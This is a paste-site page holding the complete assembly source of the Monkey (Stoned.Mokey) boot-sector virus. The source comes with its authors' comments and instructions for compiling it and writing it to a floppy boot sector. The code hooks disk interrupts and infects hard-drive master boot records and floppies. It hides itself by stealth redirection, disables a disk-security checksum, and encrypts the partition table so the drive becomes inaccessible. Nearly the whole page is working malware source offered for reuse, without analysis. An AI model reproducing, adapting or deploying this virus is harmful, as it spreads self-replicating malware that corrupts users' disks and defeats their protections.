Advertisement
FlyFar

Virus:Boot/Stoned.Mokey Source Code

Jan 7th, 2023
1,616
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 9.65 KB | Cybersecurity | 0 0
  1. page    70,80
  2.        Name    Monkey
  3.  
  4. ;*******************************************************
  5. ;
  6. ;      Monkey written at the city of champions
  7. ;       - Edmonton - by UACVRS - Jan 1992.
  8. ;
  9. ;     Monkey is a full stealth MBR/Boot self-replicating program with
  10. ;     no payload but it does not save the HD's partition
  11. ;     table in place. When the "infected" computer is booted
  12. ;     from a floppy, c: drive will no longer be accessible.
  13. ;
  14. ;     To compile: masm monkey     (we used MASM 5.0)
  15. ;                 link monkey
  16. ;                 exe2bin monkey.exe monkey.co
  17. ;     Use NU, or debug to copy monkey.co to the boot
  18. ;        sector of a floppy. The diskette will not boot
  19. ;        but will install itself on the hard drive.
  20. ;
  21. ;     Bug: It will trash any floppies higher than
  22. ;          1.44meg, not deliberately.
  23. ;
  24. ;*******************************************************
  25.  
  26. Code   Segment
  27.        Assume  CS:Code,DS:CODE,ES:CODE
  28.        ORG     00H
  29.  
  30. MAIN:
  31.        JMP     INITIAL
  32.  
  33. ; space above 1fh is for floppy format data
  34.  
  35.        ORG     1FH
  36. INT_13     EQU     THIS BYTE
  37.  
  38.           PUSH    DS
  39.           PUSH    SI
  40.           PUSH    DI
  41.           PUSH    AX
  42.           PUSH    CX
  43.           PUSH    DX
  44.  
  45.           CALL    SET_HEAD
  46.  
  47.           CMP     AH,02H
  48.           JNZ     END_ACTION
  49.  
  50.           PUSH    DX
  51.           SUB     AX,AX
  52.           INT     1AH
  53.  
  54. TIME      EQU $ + 2
  55.           CMP     DL,40H
  56.           POP     DX
  57.           JNB     END_ACTION
  58.  
  59.           CALL HANDLE_DISK
  60.  
  61. END_ACTION:
  62.           POP   DX
  63.           POP   CX
  64.           POP   AX
  65.           POP   DI
  66.  
  67.           PUSH  DX
  68.           PUSH  CX
  69.           PUSH  AX
  70.  
  71.           CMP   CX,03H                 ; YES, IS SECTOR LESS THAN 3?
  72.           JNB   EXIT_2                 ; NO, EXIT
  73.  
  74.           CMP   DH,BYTE PTR DS:[SI]    ; Right head?
  75.           JNZ   EXIT_2                 ; NO, EXIT
  76.  
  77.           CMP   AH,02H                 ; READ ?
  78.           JZ    STEALTH                ; YES, STEALTH
  79.  
  80.           CMP   AH,03H                 ; WRITE ?
  81.           JNZ   EXIT_2                 ; NO, EXIT
  82.                                        ; YES!
  83.           CMP   DL,80H                 ; HARD DRIVE?
  84.           JB    EXIT_2                 ; NO, EXIT
  85.  
  86.           SUB   AH,AH            ; else RESET DISK - make HD light blink
  87.           JMP   SHORT EXIT_2           ; EXIT
  88. STEALTH:
  89.           CALL  INT13                  ; READ
  90.           JB    EXIT_3                 ; ERROR?
  91.  
  92.           CALL  COMP_SIG               ; MY RELATIVE?
  93.           JZ    REDIRECT               ; YES, REDIRECT
  94.  
  95.           CALL  COMP_PA                ; NO, IS IT PA?
  96.           JZ    REDIRECT               ; YES, REDIRECT
  97.  
  98. EXIT_0:
  99.           CLC                          ; NO, RESET FLAG
  100.           JMP   SHORT EXIT_3           ; EXIT
  101.  
  102. REDIRECT:
  103.  
  104.           CALL  CHSEC        ; CALC. THE SECTOR TO HIDE & PUT IN CL
  105.  
  106.           MOV   DH,BYTE PTR DS:[SI+1]  ; SET RIGHT HEAD
  107.  
  108.           POP   AX                     ; RESTORE AX
  109.           CALL  INT13                  ; RE-READ
  110.           CALL  ENCRPT_PBR
  111.           POP   CX                     ; RESTORE CX, DX
  112.           POP   DX
  113.           JMP   SHORT EXIT_4           ; EXIT
  114. EXIT_2:
  115.           CALL  INT13
  116. EXIT_3:
  117.           POP   DS
  118.           POP   DS
  119.           POP   DS
  120. EXIT_4:
  121.           POP   SI
  122.           POP   DS
  123.           RETF  0002H
  124.  
  125. READ_SEC_1:
  126.           MOV   AX,0201H         ; READ
  127. INT13 PROC NEAR
  128.           PUSHF
  129.           CALL  DWORD PTR CS:INT13_ADDR     ;***********
  130.           RET
  131. INT13 ENDP
  132.  
  133. HOOK_ENTRY   EQU  THIS BYTE
  134. HOOK:
  135.           INT   12H
  136.           MOV   SI,004CH
  137.           PUSH  SI
  138.           CMP   BYTE PTR CS:HOME_SEC,02H       ; I am in sector 2?
  139.           JZ    SETUP_SPECIAL
  140.  
  141. SETUP_NORMAL:
  142.  
  143.           CALL  SHIFT_NORMAL
  144.  
  145.           MOV   DI,OFFSET INT13_ADDR
  146.           MOV   CX,0002H
  147.           CLD
  148.           REPZ  MOVSW
  149.  
  150.           JMP   SHORT STORE_SEGMENT
  151.  
  152. SETUP_SPECIAL:
  153.  
  154.           CALL  SHIFT_SPECIAL
  155.  
  156. STORE_SEGMENT:
  157.           POP   SI
  158.           MOV   WORD PTR DS:[SI],OFFSET INT_13  ; STORE MY ENTRY POINT
  159.           MOV   DS:[SI+2],AX            ; STORE MY SEGMENT
  160.  
  161. PATCH_OVER:
  162.  
  163.           PUSH  CS
  164.           POP   DS
  165.           CALL  PATCH           ; PATCH OVER
  166.           PUSH  ES              ; PUSH SEGMENT
  167.           MOV   AX,OFFSET JMP_ADDR
  168.           PUSH  AX              ; PUSH ADDRESS
  169.           STI
  170.           RETF                 ; FAR JMP
  171.  
  172.     JMP_ADDR   EQU THIS BYTE
  173. BOOT:
  174.           MOV   ES,CX
  175.           MOV   BX,SP            ; TO 0000:7C00
  176.           PUSH  CX              ; SAVE JMP SEGMENT
  177.           PUSH  BX
  178.  
  179.           MOV   DX,0080H         ; HANDLE C:
  180.           CALL  SET_HEAD
  181.           CALL  HANDLE_DISK
  182.  
  183. BOOT_SEC  EQU $ + 1
  184.           MOV   CL,05H           ; FROM SECTOR 3   ????
  185.  
  186. BOOT_DISK  EQU $ + 1
  187.           MOV   DX,0100H         ; C:, HEAD 0      ????
  188.  
  189.           CALL  READ_SEC_1      ; INT 13
  190.  
  191.           CALL  ENCRPT_PBR
  192.  
  193.           RETF
  194.  
  195. HANDLE_DISK PROC NEAR
  196.  
  197.           ; *** READ SECTOR 1 ***
  198.           SUB   CX,CX
  199.           INC   CX
  200.           PUSH  CX
  201.  
  202.           MOV   DH,[SI]          ; HEAD
  203.           CALL  READ_SEC_1      ; INT 13
  204.           JB    END_HANDLE_DISK          ; ERROR -> END
  205.  
  206.           ; *** COMPARE ***
  207.           CALL  COMP_SIG
  208.           JZ    E_2                      ; SAME -> UPDATE MYSELF
  209.  
  210.           ; *** PA?  ***
  211.           CALL  COMP_PA                  ; Is it Pagett's disksec?
  212.           JNZ   UPDATE_DISK              ; NO
  213.  
  214.           ; *** OK?  ***
  215.           INC   CX
  216.           CMP   WORD PTR ES:[BX+1FAH],00H ; when this byte in disksec is set
  217.                                           ; to 0 means disksec would not do
  218.                                           ; checksum of partitions - Pagett
  219.                                           ; sucks
  220.           JZ    E_2                       ; SAME -> UPDATE MYSELF
  221.  
  222.           MOV   WORD PTR ES:[BX+1FAH],00H ; set this to zero
  223.           MOV   CL,1H                     ; write the change back to sector 1
  224.           CALL  WRITE_SEC_1               ;
  225.           JB    END_HANDLE_DISK
  226.  
  227.           ; *** YES! READ SECTOR 2  ***
  228.           INC   CX              ; yes,Pagette 's disksecure is on sector 1
  229.           MOV   DH,[SI+2]       ; My relative is on sector 2 - read sector 2
  230.           CALL  READ_SEC_1      ; INT 13
  231.           JB    END_HANDLE_DISK ; ERROR -> END
  232.           POP   AX
  233.           PUSH  CX
  234.  
  235. UPDATE_DISK:
  236.           CALL  CHSEC        ; CALC. THE SECTOR TO HIDE & PUT IN CL
  237.           CALL  ENCRPT_PBR
  238.           INC   SI
  239.           CALL  WRITE_SEC_1
  240.           DEC   SI
  241.           JB    END_HANDLE_DISK
  242.  
  243.           CALL  ENCRPT_PBR
  244.           PUSH  CX
  245.           CALL  PATCH
  246.           POP   CX
  247.  
  248.           PUSH  DX
  249.           CMP   DL,80H
  250.           JNB   E_1
  251.           XOR   DL,DL
  252. E_1:
  253.           MOV   WORD PTR ES:[BX+BOOT_DISK],DX
  254.           POP   DX
  255.           MOV   BYTE PTR ES:[BX+BOOT_SEC],CL
  256.           POP   CX
  257.           PUSH  CX
  258.           MOV   BYTE PTR ES:[BX+OFFSET HOME_SEC],CL
  259.           MOV   WORD PTR ES:[BX+OFFSET BOOT_SIG],0AA55H
  260.  
  261. E_2:
  262.           CALL  WRITE_SEC_1
  263.  
  264. END_HANDLE_DISK:
  265.           POP   AX
  266.           RET
  267.  
  268. HANDLE_DISK ENDP
  269.  
  270. WRITE_SEC_1 PROC NEAR
  271.           MOV  DH,[SI]
  272. WRITE_SEC_2:
  273.           MOV  AX,0301H
  274.           CALL INT13
  275.           RET
  276. WRITE_SEC_1 ENDP
  277.  
  278. COMP_SIG PROC NEAR
  279.    CMP     ES:[BX+OFFSET PROG_SIG],9219H
  280.    RET
  281. COMP_SIG   ENDP
  282.  
  283. COMP_PA PROC NEAR
  284.    CMP   WORD PTR ES:[BX+119H],6150H   ; PA?
  285.    RET
  286. COMP_PA    ENDP
  287.  
  288. HOME_SEC    DB     01H
  289.  
  290. FLOPPY_HEAD DB     00H,01H,01H
  291. HARD_HEAD   DB     00H,00H,00H
  292.  
  293.                   ;  360 720 1.2 1.44
  294. FLOP_SECT_TABLE   DB  02H,05H,09H,0BH
  295. SAVE_SECT_TABLE   DB  03H,05H,0EH,0EH
  296.  
  297. CHSEC PROC NEAR
  298.    PUSH    DI
  299.    PUSH    SI
  300.    MOV     AL,ES:[BX+14H]
  301.    MOV     CX,0004H
  302. CHSEC_1:
  303.    MOV     SI,CX
  304.    DEC     SI
  305.    CMP     FLOP_SECT_TABLE[SI],AL
  306.    JZ      CHSEC_END_1
  307.    LOOP    CHSEC_1
  308.    MOV     CL,03H
  309.    JMP     SHORT CHSEC_END_2
  310. CHSEC_END_1:
  311.    MOV     CL,SAVE_SECT_TABLE[SI]
  312. CHSEC_END_2:
  313.    POP     SI
  314.    POP     DI
  315.    RET
  316. CHSEC      ENDP
  317.  
  318. SHIFT_NORMAL PROC NEAR
  319.  ; FIND THE SEGMENT TO HIDE
  320.     DEC    AX
  321.     MOV    DS:[413H],AX
  322.  
  323. SHIFT_SPECIAL:
  324.     MOV    CL,06H
  325.     SHL    AX,CL
  326.     ADD    AL,20H
  327.     MOV    ES,AX
  328.     RET
  329. SHIFT_NORMAL     ENDP
  330.  
  331. PATCH PROC NEAR         ; PATCH ON BOOT SECTOR STARTING AT BYTE int_13
  332.     PUSH  SI
  333.     MOV   DI,BX
  334.     MOV   SI,OFFSET INT_13
  335.     ADD   DI,SI
  336. ;   CLD
  337.     MOV   CX,OFFSET PROG_END - OFFSET INT_13
  338.     REPZ  MOVSB
  339.  
  340. PATCH_JMP:
  341.     MOV   DI,BX
  342.  
  343.     SUB   SI,SI
  344.     MOV   CL,3H
  345.     REPZ  MOVSB
  346.  
  347.     POP   SI
  348.     RET
  349. PATCH     ENDP
  350.  
  351. SET_HEAD PROC NEAR
  352.     PUSH  CS
  353.     POP   DS
  354.  
  355.     MOV   SI,OFFSET FLOPPY_HEAD
  356.     CMP   DL,80H
  357.     JB    SET_HEAD_EXIT
  358.     MOV   SI,OFFSET HARD_HEAD
  359. SET_HEAD_EXIT:
  360.     RET
  361. SET_HEAD  ENDP
  362.  
  363. INITIAL:
  364.       CLI
  365.       SUB   BX,BX
  366.       MOV   DS,BX
  367.       MOV   SS,BX
  368.       MOV   SP,7C00H
  369.       JMP   HOOK
  370.       NOP
  371.       NOP
  372.  
  373. ENCRPT_PBR:
  374.       PUSH    DI
  375.       PUSH    CX
  376.       PUSH    AX
  377.  
  378.       MOV     DI,BX
  379.       MOV     CX,200H
  380.  
  381.       CLD
  382. ENCRPT_1:
  383.       MOV     AL,ES:[DI]
  384. ENCRPT_CODE   EQU $ + 0001H
  385.       XOR     AL,2EH
  386.       STOSB
  387.       LOOP    ENCRPT_1
  388.  
  389.       POP     AX
  390.       POP     CX
  391.       POP     DI
  392.       RET
  393.  
  394.  
  395.              ORG 01F4H
  396. ;PROG_NAME   DB     "Monkey"
  397. PROG_NAME   DB     6dh,8fh,8eh,8bh,85h,99h
  398.  
  399.              ORG 01FAH
  400. PROG_SIG    DB     19H,92H
  401.  
  402. PROG_END    EQU   THIS BYTE
  403.  
  404.             ORG 01FCH
  405. INT13_ADDR  DB     00H,00H
  406.  
  407.             ORG 01FEH
  408. BOOT_SIG    DB     55H,0AAH
  409. PROG_TAIL   EQU   THIS BYTE
  410.  
  411. PROG_LEN    EQU   OFFSET PROG_END - OFFSET INT_13
  412.  
  413.  
  414. CODE      ENDS
  415.       END MAIN
  416.  
  417. ; from U of A
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement